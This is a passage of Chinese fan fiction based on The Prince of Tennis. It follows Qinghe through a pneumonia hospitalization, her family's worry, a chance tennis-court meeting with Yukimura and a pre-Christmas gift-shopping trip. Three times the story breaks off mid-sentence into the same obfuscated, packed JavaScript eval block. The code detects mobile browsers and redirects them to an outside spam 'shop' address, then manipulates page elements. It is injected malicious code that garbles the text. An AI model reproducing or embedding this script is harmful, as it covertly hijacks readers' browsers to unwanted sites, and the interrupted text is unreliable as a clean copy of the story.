他怎么…… 反应这么大。 她低头按灭手机屏幕,胸口忽然泛起一点说不清的酸意。清和深吸了一口气,将那点异样的情绪按了回去。 手冢依旧站在病房一角,保持着适当的距离。 清和抬头向他抱歉地笑了笑,声音还有些发虚:“真是麻烦你了,手冢同学。我家人应该马上就会来了。你要是有事的话,可以先走的。” “不急。”他语气平稳,“我等他们到了再走。” 他顿了顿,又问:“还喝水吗?我去接点热的。” “啊……谢谢你。” …… 清和正小口抿着纸杯中的热水。刚入口时还有些烫,含在嘴里却刚好。病房里安静得只剩下她轻轻吞咽的声音。 ……坐着腰好累。 她偷偷瞥了一眼站在墙角的手冢。 都多久了。 他居然还能站得那么直。 刚刚喊他过来坐他也不来…… ……真是厉害。 她低头看了看床——好想躺下啊。 这样会不会有些失礼? 可她是病人啊! 念头刚起,又被自己压了回去。 算了… 还是再坐一会儿吧。 …… 走廊忽然传来一阵急促的脚步声。远处隐约响起护士提醒“不要奔跑”的声音。下一秒,病房门被推开,力道比她预想得更重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270142|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门把撞在墙上,发出一声闷响。 清和吓了一跳,抬头。 墙角的手冢也随之回头望去。 门口站着龙马。 他明显是跑过来的,额发凌乱,呼吸还没完全调匀。他的手仍紧握着门把,指节因为用力而微微发白。 他看见清和,视线撞进了她闪过一丝讶异的眸子中。整个人像是被定住了一样。 “……姐姐?” 龙马的声音有一些颤抖。 他快步迈进病房,完全没注意到屋里还有别人。 他的视线迅速在清和的身上扫了一圈,琥珀色的眼里满是不安。温热的手掌随即贴上她的额头,又移到脸侧。滚烫的温度传来,让他的眉头又皱紧了些。 “好烫。”龙马的嘴角轻轻翕动,“你吓到我了,姐姐。” 清和这也是第一次感觉,龙马的手心并不像从前那样热得发烫。相反,有些凉。贴在她滚烫的皮肤上,还挺舒服。 看来真的是烧得不轻…… “什么啊。”她歪头笑了笑,“是老爸吓到你了才对吧。” 南次郎比龙马晚到两步,气息平稳,但额头与鬓角仍挂着一些细汗。 他站在门口,看着病床前儿子的背影,几乎将清和挡了个严严实实。他无奈地叹了口气,走上前,在龙马的后脑勺轻轻拍了一下。 “你让一让。挡得跟堵墙似的。” 龙马撇了撇嘴,这才侧开一步,仍站在床边。 南次郎低头看了清和一眼,伸手试了试她额头的温度,目光在那一瞬间沉了下去,但转眼还是挂上了一个笑容。 “医院环境不错。”他语气刻意放得轻松,“病房也挺干净。应该能休息好。” 清和笑了一下:“是吧。” 南次郎将床上的被子掀起,反向裹在了清和的身上,动作仔细,表情却称不上自然。 “医生怎么说?” “病毒性肺炎。”她答,“要住几天。” 南次郎点了点头,“行。” 没有多问,也没有再说些别的。沉默得让清和都有些不大习惯了。 他像是确认完了最该确认的事,视线终于从清和身上移开。也正是在这一刻,南次郎这才注意到房间里还站着另一个人。 他转过身。 墙角站着一个少年,姿态笔挺,神情沉静。 南次郎的目光在他身上停了一瞬,随即咧开一个惯常的笑容,打了个招呼。 “小伙子,是你送她来的吗?” “是的。”手冢答得简洁。 “真是麻烦你了。”南次郎朝对方点了点头,诚恳地道了一声“谢谢”。 “应该的,您客气了。”手冢微微颔首。目光在病床上的清和身上停了一瞬,又平静地收回。 他礼貌道:“那么,我就先告辞了。” “好好好。”南次郎迈步上前,侧身让开门口,“我送你出去。” 病房门在身后轻轻合上。 白炽灯下的走廊泛着冷意,空气里消毒水的味道比病房里更重。 两人并肩走出几步。 南次郎放慢脚步,低声确认了一句。 “她是怎么晕倒的?” 手冢停住。 “在图书馆的柜台前,突然失去意识。我扶住了,没有摔倒。”他略一思索,又补充道:“工作人员给她喂了一颗糖,很快就转醒了。” 南次郎若有所思地点了点头,又问道:“昏了多久?” “两分钟左右。” “嗯……” 走廊里一时安静下来。 南次郎转过身来,面向手冢。 “真的,谢谢了。” …… 走廊里的脚步声逐渐远去,病房里重新归于平静。 龙马的视线随着那两人出门的动作停在了门上,直到那声音彻底消失。他这才转过头问:“姐姐,那是谁?” “一个好心人。”清和垂下眼。 “刚好路过。” 11. 病房与梦 清和睡得并不安稳。 浑身燥热,脚底却冰得刺骨。细密的汗珠一阵一阵地冒着——额头、耳后、脖颈、手臂,很快就湿黏成一片。 窗外洒进几点月光,笼住病房的一角。病床上的清和眉头紧蹙,面庞被月色与阴影分割成了两半。 半梦半醒之间,她恍惚感觉有一道白光正从头顶缓慢压下。空气里弥漫着熟悉的消毒水气味。 天花板很低。白得没有一丝阴影。 她闭着眼,身体动弹不得。 有人在喊她的名字。 那声音很远—— “……清和,清和。” 不像从身边传来,更像是从极深处一点点浮上来的。 她想回答。 却发不出声音。 “滴——滴——” 那声音忽远忽近,像是水面之下的回音。 白光骤然放大,吞没了天花板。空气变得稀薄,消毒水的味道逐渐减弱。 她仿佛被什么轻轻向上托起——又或者,是往下坠。 “清和。” 这一次,声音不止一个。重叠着,交错着,远与近混在一起。 她拼命想要睁开眼睛。 指尖却只在某个看不见的地方,极轻地颤了一下。 …… >>>> 清和倏地睁开眼,呼吸急促。 视野仍有些发虚,平滑的天花板反射着刺目的白光,不是平日里那种柔和的壁纸质感。 已经是早晨了,阳光毫不留情地闯入室内,像是要把整间病房的细小病菌们都照得无处遁形。 “姐姐?” 声音近在耳畔。 她愣了两秒。 这道声音与梦里那种遥远而模糊的回响截然不同——清脆、利落,真实得让人心头一紧。 不安忽然如潮水一般涌了上来。 她猛地抽出手,一把抓住少年那只正朝她额头探来的手掌。温热贴上掌心,指腹下带着一点因频繁握拍而留下的薄茧触感。 她偏过头。 龙马正站在床边。琥珀色的瞳孔落入她的视线,里面压着无法掩饰的担忧。 “你没事吧?”清和看见他张了口,语气焦急。“要不要喊医生过来?” “……” 回应逼到唇边。她很想笑着说一句“没事”。 可梦里的恍惚仍然缠绕在她的意识边缘——白光、天花板、消毒水,还有那阵断断续续的仪器声响。 她并不觉得没事。 一种巨大的空虚感正托着她缓慢地上下沉浮,仿佛只有抓住点什么真实存在的东西,才能让她确认自己真的已经醒过来了。 “怎么不说话,很难受吗?” 龙马回握着她的手,轻轻捏了一下。他站起身,另一只手贴上她的额头,温度还是有些高。 “烧还没退。”他低声道,“老爸送妈妈回家准备早餐了,等他们来了,吃点东西再睡会儿吧。” “好……” 清和看着他,一动不动。 过了片刻,才开口—— “你就在这里,好吗。” 声音轻得几乎贴着空气。 龙马皱起眉。 “说什么呢。”他重新坐回床边,没有松开她的手。“我不走。” >>>> 那样奇怪的梦,在清和发烧的这几天里反复上演着。不安与慌乱轮番涌来,将她一点点拖向深不见底的虚无。 她沉默地挣扎,却又始终无法摆脱。 她从未觉得睡觉竟会如此漫长而痛苦。病情因此拖拖拉拉,一周多才慢慢见好。 龙马几乎把自己搬进了病房,怎么说都不肯离开。 连他自己也说不清那种挥之不去的不安感是从何而来。 只是——姐姐第一次醒来时,抓着他不肯松开的那一刻……他至今想起,心口仍会缓缓下坠。 烧退之后,清和的睡颜才终于恢复了平和。但这一周多的病让她的面色发白,原本带着点肉感的脸颊也消瘦了下来。 伦子心疼不已,请了两周的假,整日在病房与厨房之间来回奔波。 南次郎也几乎常驻病房,偶尔出去晃上一圈,再拎着一大袋零食推门进来,仿佛这样就能把气氛撑得轻松一些。 清和的精神慢慢好了些,甚至还有力气指导起龙马的功课。剩下的三个人这才松了口气。 …… 清和这场病来得突然,打了他们一个措手不及。 入院那天,医生解释是急性病毒性肺炎,晕倒大概是因为没好好吃饭引发的低血糖。按理说,这样的诊断足够让人放心。 可不知为何,后来的清和始终恢复得很慢。尤其是精神状态……虽然依旧话不多,却像是被什么悄无声息地抽走了一块,人安静下来时,总带着一点难以落地的空白。 到了晚上,更是不愿入睡。即便睡着了,眉心也总是轻轻蹙着,翻来覆去。 那份盘桓不去的不安,落在旁人眼里,比高烧本身更让人担心。 所幸,那份不安并没有持续太久。 复查时,医生翻着病历,语气平静地说恢复情况还不错。肺部阴影基本消散,炎症指标也回到了正常范围。 “今天可以准备出院了。” 那句话落下时,病房里安静了一瞬。 伦子长长地吐出一口气。南次郎拍了拍龙马的肩。龙马没有说话,只是低头收拾起东西,然后把背包的拉链拉好。 清和坐在床上,看着窗外明亮的天空。阳光透过窗户落在床尾的被单上,干净而明亮。 她慢慢把手从被子里移出来。 “谢谢。”声音不大,她顿了一下。 “这段时间,麻烦你们了。” 南次郎抽出手在她的脑壳上敲了一下。 >>>> 医院大厅人来人往。电梯门开合的声音此起彼伏。消毒水的味道还飘在半空,只是好像被阳光稀释了一些。 幸村站在自助缴费机前,低头整理着刚取出的单据。余光里,一道熟悉的身影从大厅的另一侧走过。 他抬起头。 ——是她。 她的脸色比第一次见面时苍白许多,肩线单薄,像是被薄雪压弯的枝。那份惯常的平和,仿佛也被削去了几分。 他停顿了一瞬。 上周回复给她的那条消息,至今都没有得到回复…… 居然是病倒了吗。 她身边跟着几位看起来像是家人的人,慢慢朝医院的大门走去。 幸村不自觉地往前跟了两步。 “我想自己走一走。” 她面色平和地对其他人说道。随后又补充了几句,像是在解释着什么。 几位家人似乎有些犹豫。戴着白色鸭舌帽的男孩更是立刻皱起眉头,说她身体才刚刚痊愈,还是一起回去比较好。 “我很快就回去。” 她笑了一下,又轻声安慰了几句,男孩这才不太情愿地答应下来。一旁高大的男人拍拍她的头,说了句什么。她脸上漾开了一个短暂而轻快的笑,点了点头。 另外三人离开。鸭舌帽男孩一步三回头。她朝他挥了挥手,笑得温和。 幸村站在不远处,看着她转身的方向。 他停顿了两秒。 然后迈步跟了上去。 …… 医院外的空气比里面清爽许多。阳光落在台阶上,晃得人微微眯起眼。 清和在医院门口停了一下,像是在适应光线,又像是在确认方向。 街道车流不断,行人从她身侧匆匆而过。她没有立刻离开,只是站在那里,轻轻吸了一口气。 胸腔里仍残留着些许虚弱的空荡感。但风是真实的,阳光也是真实的。 她慢慢迈下台阶,步子不快。 没有明确的目的地。 只是随意地朝前走着。 …… 幸村跟在后方不远处。 他刻意放缓了脚步。 既不会太近,也不会跟丢。 她走得很安静。不像是在散步,更像是在测试。每一步落地,都格外谨慎,仿佛像是在确认脚下的触感。 …… 远处忽然传来一声沉闷的回响。 “砰——” 像是什么击中了墙面。 清和的脚步顿了一下,她抬起头。 街道转角处,有一片被铁丝网围住的空地。网球撞击墙面的声音断断续续地传来。 “砰。” “砰——” 节奏并不稳定,有人在练习。 她站在原地,听了两秒。呼吸在那样的回弹声里,悄悄对齐。 又是一声,这一次更清晰。 她转了个方向。 …… 幸村停在路口,顺着她的视线望过去。 铁丝网后,是一处街头网球场。场地不大,墙面斑驳,地面上还散落着几颗旧球。 他没有出声,看着她推开了那扇半掩的铁门。 铁门发出一声轻微的擦响。 场地里只有一个人。 清和看见墙边堆着一筐旧网球,还有两支陈旧的球拍靠在墙根。刚才的击球声已经停了。那人收拾好东西,从另一侧的阶梯离开。 场地重新安静下来。 清和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270143|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在原地,没有立刻靠近。 风从铁丝网的空隙里穿过,带着一点灰尘和铁锈的味道。 网球……吗。 她慢慢走到墙边,那支旧球拍的握柄已经磨损得发白。 她伸手。握柄的胶带边缘有些起毛,指腹贴上去时,干涩的纹理刮过皮肤,微微发涩,像是久未被触碰。 她停了一瞬,然后握紧。掌心与拍柄之间没有陌生感,像是身体还记得它。 她弯腰拾起一颗球,走到墙壁对面的发球区站定,向上轻轻一抛—— 黄色的小球飞起,又下落。 她抬手挥拍。 第一球落在墙面上。 “砰。” 声音在空荡的场地里回响,回弹的节奏清晰而直接。 她盯着那颗弹回来的球,身体比意识更快做出反应,脚步自然地移动、跟上,挥拍。 一球。 再一球。 动作并不夸张,却干净得近乎冷静。 …… 另一边,树荫下。 幸村没有走近,他只是站在外场,默默地看着那个少女握起球拍上场。 最初,他只是有些意外。 她挥拍的轨迹很是流畅,重心压得极稳,脚步扎实,力道强劲。基本功干净得几乎挑不出任何破绽,不像是才刚刚大病初愈的样子。 无论她怎样挥拍,脚步怎样前进、后撤,球的落点都始终砸在墙面的同一处。 一次。 又一次。 那一小片墙面上,渐渐摩擦出了一个边缘模糊的圆形灰影。 可不知从哪一球开始,他忽然察觉到了一点细微的不同。力道没有失准,节奏也依旧整齐。只是……那一下下挥出的力量,正在无声地加重。 她没有调整呼吸,也没有放缓节奏。 像是在确认什么,又像是在逼迫自己继续向前。 击球声越来越响,她的呼吸却开始变得急促。肩膀绷得发紧,她始终没有停下来的意思。 “砰——” “砰。” 击球声开始变密,墙面回弹的节奏失去了原本的均衡。 她没有停,反而抬手更高,用力更重,像是在向身体索要一个更加清晰的回应。 汗水顺着鬓角滑了下来。 呼吸乱了,她却像是没有察觉。 又是一球。 球拍接触球面的一瞬间,手腕角度微微有些偏移。 “砰——!” 这一声比之前更闷。 球终于脱离了它原本的轨迹,斜着越过球场、掠过树篱,朝场外蹿去。 虽然知道那颗球一定会出界,但清和还是条件反射般地冲了出去。 视线顺着那道黄色的影子,切过一片绿色。她这才猛然发现,球直直朝向的那处,似乎还站着一个人。 心脏骤然紧缩,意识汇拢,一声焦急的提醒脱口而出—— “小心!” 脚下落地时重心前倾,鞋底擦过地面。一瞬间的失衡,她的身体向前扑去。 …… 幸村的动作很快。在他看清球路的一瞬间,就俯身捡起了地上一截粗细合适的树枝。 手腕一送,枝干打横扫过。 那颗飞来的球被轻轻截下,撞击到一旁的铁丝网上,发出一声闷响。小球坠落地面,轻轻弹起后滚出了两圈,最终贴着尘土停住。 幸村没有看那颗球,他的视线始终都落在清和的身上。 他见她神情一震。 下一瞬,便向他飞奔而来。 少女过肩的墨蓝色长发在风中扬起,像是深海被风掀开的一角。 幸村愣了一下。那份一贯的从容,在这一刻忽然出现了裂缝,焦急几乎无遮掩地掠过眼底。 他不由自主地迈步,迎向前去。 …… 清和脚步一乱,视野骤然下坠,掌心与地面摩擦出细碎的刺痛。 她撑在地上,呼吸一时失了节奏。手臂因方才过重的挥拍而微微发麻,酸意迟迟未散。 她还未来得及抬头,一道影子就已经落在身侧。衣料擦过风的细微声响停在她的耳边。 有人蹲下。 那人的手臂在她的肩侧略微停顿了一瞬,才将她轻轻扶住。 一道有些熟悉的温润嗓音自上方落下—— “越前さん,你还好吗。” 清和这才抬起头。 阳光从树叶间漏下,逆光中,少年鸢色的发丝轻轻晃动。他低头看着她,眉心轻轻拧起。蓝紫色的眸子里,映出她尚未收回的错愕。 清和怔住。 “幸村……君?” 12. 回响 街头网球场隔壁是一个小公园。 几级石阶靠着一排低矮的灌木丛,侧面的树影斜斜地落下来,把地面切成了一片片明暗交错的光影。 清和坐在倒数第二级石阶上发呆。 掌心传来一阵阵微小的刺痛。刚才摔下去时,膝盖也在地面擦了一下,隔着灰黑色的长裤隐隐有些发热。 她低头看了看手掌,血珠不多,却还在慢慢地往外渗着。她又掀起一侧裤腿看了看膝盖,情况差不多。 风穿过树叶,拂过她的小腿,带来一股令人提神醒脑的凉意。 一道阴影落在面前,伴随着袋子轻轻晃动的细响。“附近只有便利店,但好在能买到一些基础药品。” 清和抬起头。幸村正站在阳光与树影的交界处,手里拎着一小袋东西。 他向前走了两步,在清和面前停下。 视线在她掌心停了一瞬,随后才缓缓蹲下身,将左手手心向上摊开,静静地横在了两人之间。 “手给我吧。” 语气很温和,却带着些不容拒绝的笃定。清和愣了一下,把手交了出去。 碘伏的味道在空气里淡淡散开。棉签触碰到伤口时,她下意识地缩了一下,发出了点轻微的气声。 “抱歉。”幸村的动作放缓,棉签贴着伤口,几乎只剩下试探般的触碰。 “会有点疼。” “……还好。” 清和有些不自然地笑了一下,小声说了一句“谢谢。” 他又替她处理了膝盖上的擦伤。棉签贴上伤口时,清和又不自觉地绷紧了小腿。幸村没有抬头,只是将动作放得更轻了些。纱布稳稳贴好之后,他才将药品一一归拢收起。 幸村又从袋子里拿出一瓶水,拧开递给清和。直到指肚触到瓶身时,清和这才后知后觉地感到口中正好干得发涩。她仰头喝了一口,冰凉的水顺着喉咙滑下。 “谢谢。” 她笑了一下。 “今天好像总是在说这句话呢。” “不用这么客气。” 他笑了笑,轻声回答。 幸村起身,坐在了石阶的另一侧。 两人之间隔着半步距离。 他看着前方,一时没有开口。 风吹过树梢,斑驳的影子在地面轻轻晃动起来。远处成群的小鸟叽叽喳喳,声音落在风里。 幸村轻轻叹了口气,说道:“才刚刚出院,就跑到这里不管不顾地打球……真的没关系吗。” 清和微微一愣,将视线投向了身侧的少年。她指了指自己,显得有些讶异。 “……幸村君是说我吗?” 少年看到她手中的水瓶也正随着她的动作微微摇晃,细碎摆动的光痕就映在她的侧脸。他点了点头,含笑应了一句“当然”。 清和望向球场的方向,伸手将被风撩起的碎发别在耳后。唇角弯起,却只停留在了一个很浅的弧度上。 “我没有‘不管不顾’……虽然,可能是有点逞强了。但如果不动一动的话,总觉得会更加不安。” 幸村也转过头,顺着她的视线望去。 “这样啊……那,越前さん身体都恢复了吗,医生怎么说?” “说恢复得还不错。” 话音刚落,清和的视线忽然在半空中停了一拍。再次看向幸村时,她的神情更显讶异了。 “诶,等等。幸村君怎么知道我生病了?而且,你怎么会在这里……” 风从两人之间穿过。 远处的铁丝网发出轻微的震响。 阳光勾勒出少年的轮廓,留下一圈柔和的晕影。在他那种温和的笑意里,不知怎么的,好像也藏着一层淡淡的倦色。 “我今天正好在医院。” 他平和地答道,低缓的语气渐渐染上了几分歉意:“出来时看到你一个人离开,稍微迟疑了一下,还是跟过来了……抱歉,我有吓到你吗?还害你跌了一跤,实在对不起。” ……在医院? 啊——医院! 清和心里忽然一沉。 她这才意识到自己上次遗漏了什么。 幸村精市。 幸村精市…… 这个被称作是“神之子”的少年,就是乔乔口中“美强惨”的代名词啊……那个在赛场之外经历过漫长低谷的天之骄子。 她记得乔乔曾经提起过,国二升国三的那一年,罕见神经性疾病、入院、缺席比赛、手术治疗、又重返赛场—— 她当时也不过是把这些当成剧情的设定听过一耳朵,只留下了些粗糙的印象。 却不想——这不再是故事了。 这就是现在。 …… “越前?” 幸村的声音将她纷乱的思绪拉回。 她回过神,少年精致的面庞落在斑驳的光影里——他没有笑,只是静静地望着她,那双蓝紫色的眼离得很近。 不带笑意的他,眉眼的线条显得格外清晰,原本温润的轮廓像是被光线收紧,锋芒隐隐浮了出来。 清和忽然有些罕见得慌张了起来。 “啊,没有没有!是我自己不小心的,不怪你。你……”声音像是忽然卡在了喉咙里,尾音消失得猝不及防。 她看着少年眼里的专注一点点淡去,取而代之的是隐约的疑问。她无声地叹了口气,重新理了一下措辞,轻声问道:“幸村君也是……来看病的吗?” 幸村眨了下眼,忽然察觉到她语气里的那一点微妙的低沉,仿佛还掺杂着一些他一时无法辨认的情绪。他顿了一下,点了点头。 “嗯。身体出了点小问题,来确认一下。” 清和轻轻“唔”了一声,算作回应。 话题在这里停住。 她轻轻吸了口气,没有再开口。其实有很多话都在她的喉咙里滚过一圈,却又实在不知道该怎么问、怎么提、怎么说。 风穿过石阶旁的灌木丛,叶片晃动。 不远处的球场传来一声闷响,又有人来打球了。 幸村转头望向球场,远处隐约掠过一线黄色小球的轨迹。他的眉眼也随之微微舒展开来,唇边浮起一抹笑意。 “不过我今天才知道,原来越前さん的网球打得这么好,连墙都快要被你打出洞了呢……真不像是才刚刚大病初愈的样子。” 清和听他这么一说,耳根微微一热。 本来只是想随便挥两拍的。 谁知道一时间没能收住…… ……还被人看见了。 她低头拧了下水瓶的盖子,借此给自己的尴尬找了个缓冲。 “我刚才是不是有些用力过头了。看起来很奇怪吗?”她有些无奈地弯了弯嘴角,神情显得有些低落。“其实本来……我也没想打得那么重的。” “没有奇怪,打得很棒。无论是姿势、控球,还是力道,都很优秀。”少年毫不犹豫地夸奖道,语气平稳而真诚。 他说的那样自然,仿佛只是在陈述一个客观的结论。他专注的目光在清和脸上停留了许久,迟迟没有移开。 “只是……”他轻声开口,像是不愿惊动什么似的。 “我可以问一下,是为什么吗?” 清和抿了抿唇。 “嗯……” 她轻轻蹙起眉头,尝试着攥紧左手,又慢慢松开,看着掌心被挤压散开的血色又一点点恢复原状。 “抱歉,我好像问了个很难回答的问题。你不想说的话,可以不……” 清和听见少年的语气放低了下来,带着一点近乎安抚的意味。 “不是啦……”她回过神,轻笑着摇了摇头,说:“其实我也搞不太清楚。” “只是无意间听见球声,就走到了这里。看见球拍,又拿起来……忽然想到自己也是能打网球的。” 她垂下眼,目光落在了掌心的茧上,却又像是透过那层薄薄的痕迹,看向更深处。 “生病的时候,总有些恍惚……像是突然会觉得,身体不像是自己的。” 风从球场那边吹过。 她长长地吸了口气,又轻轻呼出。“所以就想找点,嗯……真实的感觉。” “试试看那种……会震到发麻的回响?” 远处忽然传来一声清脆的击球声。清和顺着那道声音望去,看见一抹亮黄色的弧线从墙面弹开。 “网球的话,不论是手心里的震动,还是击球时的声响,都很强烈。” “只要打起来—— 就听不到别的声音了。” 清和将右手覆上左臂,停顿了一会儿。手肘深处的酸痛缓缓浮起,就连刚才击球时留下的震感,好像都还滞留在那里,执拗地回荡着。 “所以……不知不觉就变成这样了。” 语音落下。 风声短暂地填满了两人之间的空隙。 幸村没有立刻开口,只是在一旁安静地看着她低垂的侧脸。 少女额前的碎发被风轻轻扬起。那双在球场上动作干净利落的手,此刻却开始沿着瓶口边缘无意识地划起了圈。 幸村垂下眼望着她的手,却又很快移开视线。目光落向不远处的墙面——那片被她反复击打出的灰色圆影还留存在原处。 “那现在呢。”他的声音很轻。 “试过之后,有觉得身体又属于自己了吗?” 清和怔了一下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270144|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 风从脚边略过,落叶被卷起,轻轻翻动着。她看着那些斑驳的影子,认真地想了想。 “……不知道。”她轻轻吐出一口气。 “好像,算是吧。” 远处树梢上的麻雀飞起又落下,鸣声在风里轻轻颤动。 幸村看着她。风掠过她耳后的发丝,墨蓝色在光里来回晃动,像一片浮动的海。 他的目光仿佛也随那片蓝色的波澜轻轻晃了一下,又缓慢地恢复了平静。 片刻后,他才缓缓开口。 “我觉得,人不会因为生一场病,就变成别人。” 他停了停。 “身体或许会失控一段时间,但它还是你的。” “只是有时候……” “我们得重新学一遍,怎么去使用它。” 他说得很慢,每个字都格外清晰。 清和抬眼看向他时,少年那双蓝紫色的眸子沉静而专注,里面映着她的影子。 那一瞬间,她忽然有些分不清,幸村是在看着她,还是在透过她的眼,注视着他自己。 …… 少年率先移开了视线。 像是察觉到那份沉默太过认真,他忽然轻笑了一下,语气自然地转了个弯:“不过——越前さん刚刚的那几球,打得真的很好。” 他的目光落在不远处的墙面上,笑意似乎扩大了几分。“但墙壁还是太安静了呢……” 他停顿了一下,视线收回,转身投向了一旁少女如湖水般深邃的眼中。 “下一次想要确认的话,可以找我。” 语落,清和看向他。少年额前的鸢色发丝被微风带动,细细拂过眉骨。光落进那双蓝紫色的眸子里,像在水面上泛起一层摇曳的波光。 他坐在她身旁,目光沉稳,没有丝毫躲闪。那一瞬间,清和忽然觉得,那句状似邀请的话,好像在空气里停得有些太久了…… 可她仍有些发愣。看着少年过分清俊的眉眼,喉间微动,却一时不知道该说些什么。 少年似乎并不打算等她回答。 “说起来——”他歪了歪头,神情里带上了一丝若有若无的苦恼。 “越前さん好像有点难联系呢。” 他语气轻缓,像是不经意地提起:“上周发的消息,到现在都还没有收到回复。” “我都在想,是不是手机出了什么问题——要不要今天顺便去修理店看一看呢。” 清和闻言愣了一下,眨眨眼。 “啊……” 过了半拍,她才反应过来,脸上的表情顿时僵了一下,浮出一阵来不及掩饰的窘意。 “对不起……我那几天在住院,没怎么看手机。你给我发了消息吗——” 她低头飞快地翻出手机,点开那个仍显示为「未读」的对话。最新一条,正是幸村问她有没有因为淋雨而生病的信息。 “我现在回!” 她迅速打了一个“已痊愈”发送,又顺手补了一个猫猫举铁的表情包。 她抬头,笑着朝他晃了晃手机。 “回好了,幸村君不用修手机。” “那就好……”他看着她,眼底的笑意未曾褪去。 “我也不大喜欢没有回响的球。” …… 清和歪歪头,在心里“嗯?”了一声。 不过她还没来得及细想,幸村就已经站起了身。他转过身,掌心向上,将手递到了她的面前。 手指修长,指节分明。 他的目光安静地落在她身上,没有催促的意思。 清和怔了一瞬,手却先一步伸了出去,落进他的掌心。 幸村避开了她手掌贴着纱布的地方,指尖向上移动,在手腕处落下。他将她稳稳带起,手上的力道很轻,却足够稳妥。清和几乎感觉不到用力,便已经站直了身子。 站稳之后,幸村就松开了她的手。 那一瞬间,方才的沉默才像是被重新接了回来。 “那……不然,等我们身体完全好了,”清和轻声开口,“打一场吧?” 幸村看着她,唇角勾起。阳光落在他的身上,神情平和却又锋利。 “我会赢的哦。” 幸村那份不加掩饰的自信借着一道温和的声音传入耳中,却带着一种与龙马如出一辙的少年心气——坚定、蓬勃、锋芒毕露。 清和愣了一下,忽然有点想笑。 她看着他,只觉得那层若有似无的距离,好像也缩短了一点。 幸村看见她灰蓝色的眼里浮起了一点久违的亮色,像是风把水面轻轻推开。 她低低地笑了一声。 “那可不一定。” 13. 礼物 上次街头网球场的偶遇之后,清和自此就又多了一位“网友”。 但她和幸村君的联系也并不算很频繁。多数时候,是幸村主动发来消息—— 最开始是询问她擦伤恢复的如何,后来便开始掺杂进某些美术馆的新展讯;有时也会是他随手拍下的天空、花坛一角,又或是植物的照片……零零星星,总能挑起个话题来。 聊着聊着,他才发现,清和居然在园艺方面也颇有涉猎。于是后来,清和的手机里时常便会多出几张他亲手养护的小花小草们的照片。 种类还不少——小雏菊、铃兰、矢车菊,尚未抽芽的郁金香,还有各式竹芋和藤蔓类的观叶植物。 清和看着那些照片,只觉得那些属于她上辈子大学专业的久远记忆好像又开始复活了。 幸村的园艺功底意外地扎实,植物们大多被照料得很好。只是入冬之后,那几盆竹芋却像是忽然被抽走了灵魂,总搭垂着叶片,边缘卷曲焦枯,看上去可怜兮兮的。 幸村有说,这是它们在他家度过的第一个冬天,没想到会这么水土不服。 清和便建议他把那几盆单独挪到避开直射光的位置,再在周围放上加湿器,尽量保持高湿度。 几天后,照片再次传来。那几盆竹芋的叶片总算舒展开来,不再低垂,看起来恢复了不少元气。 此后,诸如此类的“近况汇报”又断断续续地来了几次。 竹芋精神渐好,其他花草也在冬日的暖阳里安静生长着。再抬头时,日历已经翻到了十二月下旬。 12月23日,东京迎来了这个冬天的第一场雪。 雪落得很细,在灰白的天空下缓缓飘着。街道并不喧闹,却比往日多了几分节日前的气息。橱窗里已经摆上了红绿配色的装饰,沿街小店门口的圣诞树上也覆着一层薄雪。 清和准备出门去商场逛逛。 为了配合这场雪,她特意给自己搭了一身冷色系的衣服。 灰白条纹的打底衬衫长裙外,套着一件宽松的蓝色软毛衣;最外层是浅冷灰的长款薄棉外套,再围上一条藏蓝色的波纹围巾,把自己裹得严严实实。 呼出的气在空气里化成一团淡白的雾。 这趟的目标,是给哥哥和弟弟挑生日礼物。今天就是龙雅的生日了,紧挨着,明天便是龙马。 有时候她也会觉得很奇妙——不论年份的话,这兄弟俩的生日也就只隔了一天。明明同样是摩羯座,性格却偏偏南辕北辙,真是让人摸不着头脑。 选礼物这件事,清和一向偏向实用。 她在商场里转了几圈,最后在墨镜专柜前停了下来——镜框线条干净利落,设计感很强。她想了想,觉得还挺适合龙雅的。 龙马那边就简单多了。她径直去了熟悉的品牌专区,挑了一双新的FILA运动鞋。他之前那双还是妈妈买的,鞋边已经有些磨旧。趁着生日换双新的,正好。 从商场出来后,清和拐进了附近一家颇有名气的甜品店。听说这里的塔派和蒙布朗都做得不错。 她其实不太爱吃甜食,但龙马喜欢。尤其是生日这种需要庆祝的日子,总觉得少了甜味便少了点仪式感。 生日蛋糕妈妈大概已经准备好了,不过清和还是挑了一块小小的草莓塔,想着等到零点的时候,可以提前给龙马尝个鲜。 在店里转悠的时候,她忽然瞥见一旁摆着的手工柑橘巧克力。她顿了顿,想起从前在加州时,龙雅像猴子一样爬树薅橘子的样子……伸手拿了一罐。 回头和那副墨镜一起给他吧。 只是不知道今年是照旧邮寄过去,还是再等等,等到见面时再亲手给他…… 晚点打电话的时候问问好了。 看看他画的大饼什么时候才能有个着落。 